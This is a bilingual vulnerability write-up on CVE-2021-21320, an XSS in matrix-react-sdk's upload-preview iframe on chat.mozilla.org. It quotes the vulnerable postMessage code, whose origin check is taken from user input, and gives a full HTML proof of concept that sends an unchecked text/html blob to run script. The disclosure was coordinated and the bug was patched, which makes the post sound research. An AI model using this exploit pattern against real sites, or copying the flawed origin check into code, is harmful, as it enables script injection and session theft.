Pesquisa de VulnerabilidadeVulnerability Research
Uma historinha sobre um XSS no chat.mozilla.org (CVE-2021-21320)A short story about an XSS in chat.mozilla.org (CVE-2021-21320)
A validação de origem do postMessage vinha de input do usuário, e o blob enviado caía direto no createObjectURL sem checar o content-type — o suficiente pra transformar um preview de upload em XSS.The postMessage origin check was driven by user input, and the blob it received went straight into createObjectURL with no content-type validation — enough to turn an upload preview into XSS.
- CVE ID
- CVE-2021-21320
- Severity
- Medium · CVSS 6.1
- Affected
- matrix-react-sdk ≤ v3.14.0 (chat.mozilla.org)
- Vendor
- Matrix.org / Mozilla
- Disclosure
- Coordenada · corrigida · $500 de bountyCoordinated · patched · $500 bounty
- Researcher
- Guilherme Keerok (@duph0use)
No mês passado, eu e uns amigos fundamos a @duph0use, uma casa onde a gente passou o último mês fazendo bug bounty, pesquisando e trabalhando. Em algum momento por lá, comecei a procurar bugs na Mozilla — o que me levou a achar 3 XSSes.Last month some friends and I founded @duph0use, a house where we spent the past month doing bug bounties, researching, and working. At some point while I was there I started hunting for bugs in Mozilla, which led me to find 3 XSSes.
Neste post vou mostrar só um desses achados.In this post I'll show only one of those findings.
ConteúdoContents
Achando o alvoFinding the target
Enquanto navegava pelos produtos da Mozilla, acabei caindo no chat.mozilla.org, que é um webchat mantido pelo Matrix.org.While I was poking around Mozilla's products, I ended up on chat.mozilla.org, a webchat maintained by Matrix.org.
Como esse chat também é open source, comecei olhando o código-fonte e descobri uma funcionalidade de upload de arquivos. Tentei várias coisas diferentes nela, mas não cheguei a lugar nenhum. Só que essa mesma funcionalidade tinha também um preview das imagens/arquivos depois do upload — e isso era interessante.Since the chat is also open source, I started by reading through the source and found a file upload feature. I tried a bunch of different things against it but got nowhere. However, the same feature also had a preview of the images/files after upload, which was interesting.
O preview num iframeThe preview inside an iframe
O preview dos arquivos era feito dentro de um iframe. No cenário comum, um usuário normal clica no botão de upload e sobe algum arquivo; esse arquivo vira um blob, e na hora do upload o conteúdo desse blob é enviado pro servidor.The file preview was rendered inside an iframe. In the common scenario, a regular user clicks the upload button and uploads some file; that file gets turned into a blob, and at upload time the content of that blob is sent to the server.
O que tornou esse ataque possível foi que a aplicação enviava um postMessage pro iframe pra criar o blob. E esse mesmo iframe era usado pra dar preview nas imagens.What made this attack possible is that the application sent a postMessage to the iframe to create the blob. And that same iframe was used to preview the images.
Como dá pra ver no código a seguir, a validação da origem do postMessage era feita a partir de input do usuário:As you can see in the code below, the postMessage origin validation was driven by user input:
const params = window.location.search.substring(1).split('&');
let lockOrigin;
for (let i = 0; i < params.length; ++i) {
const parts = params[i].split('=');
if (parts[0] === 'origin') lockOrigin = decodeURIComponent(parts[1]);
}
Em seguida, a próxima parte do código recebia o postMessage e mandava os dados dele pro remoteRender:Then the next part of the code received the postMessage and passed its data to remoteRender:
window.onmessage = function(e) {
if (e.origin === lockOrigin) {
if (e.data.blob) remoteRender(e);
else remoteSetTint(e);
}
};
O blob sem checagem de content-typeThe blob with no content-type check
Na linha 49, a mensagem pegava um blob enviado pelo usuário (e.data.blob) e, sem verificar o content-type, passava o conteúdo dele pro createObjectURL na linha 22:On line 49, the message took a blob sent by the user (e.data.blob) and, without verifying the content-type, passed its content into createObjectURL on line 22:
a.href = window.URL.createObjectURL(data.blob);
A única coisa um pouco chata nesse XSS é a necessidade de interação do usuário, causada pelo atributo download (linha 19). Mas é trivial:The only slightly annoying thing about this XSS is the user-interaction requirement, caused by the download attribute (line 19). But it's trivial:
a.download = data.download;
Por causa disso, o usuário precisa clicar com o botão direito do mouse sobre a imagem e então abrir ela em outra aba. Pra resolver isso, criei uma imagem simples dizendo "abra esta imagem em uma nova aba" e passei essa imagem via postMessage no atributo imgSrc (linha 40).Because of that, the user has to right-click the image and then open it in another tab. To get them to do this, I created a simple image saying "open this image in a new tab" and passed it via postMessage in the imgSrc attribute (line 40).
img.src = data.imgSrc;
A PoC finalThe final PoC
Esta é a minha PoC final:This is my final PoC:
<html>
<head>
</head>
<body>
<center>Click anywhere in the page</center>
<script>
let x;
onclick = () => {
x = open("https://chat.mozilla.org/usercontent/?origin=https%3a%2f%2f"+document.domain);
setTimeout(() => {
const payload = new Blob(["<script>alert(1337)<\/script>"], { type : "text/html" });
x.postMessage({ blob: payload, imgSrc: "https://i.imgur.com/CMq55u9.png", auto: true}, "*");
}, 2500);
}
</script>
</body>
</html>
Repare no truque da origem: o iframe lê o origin da própria query string (?origin=https://…) e usa esse valor como lockOrigin. Como o atacante controla a URL que abre o iframe, ele simplesmente passa a própria origem ali — e a checagem e.origin === lockOrigin passa numa boa.Notice the origin trick: the iframe reads origin from its own query string (?origin=https://…) and uses that value as lockOrigin. Since the attacker controls the URL that opens the iframe, they just pass their own origin there — and the e.origin === lockOrigin check passes happily.
Aqui você pode ver o vídeo da PoC:Here you can watch the PoC video:
https://www.youtube.com/watch?v=nmio2rTn38Q
TimelineTimeline
- 2021-02-13Vulnerabilidade reportada.Reported the vulnerability.
- 2021-02-19A Mozilla atribuiu um CVE ID.Mozilla assigned a CVE ID.
- 2021-03-01Vulnerabilidade corrigida.Vulnerability fixed.
- 2021-03-08Bounty de $500 pago.$500 bounty awarded.
ReferênciasReferences
- matrix-react-sdk —
src/usercontent/index.js(v3.14.0).matrix-react-sdk —src/usercontent/index.js(v3.14.0). https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js - Vídeo da PoC no YouTube.PoC video on YouTube. https://www.youtube.com/watch?v=nmio2rTn38Q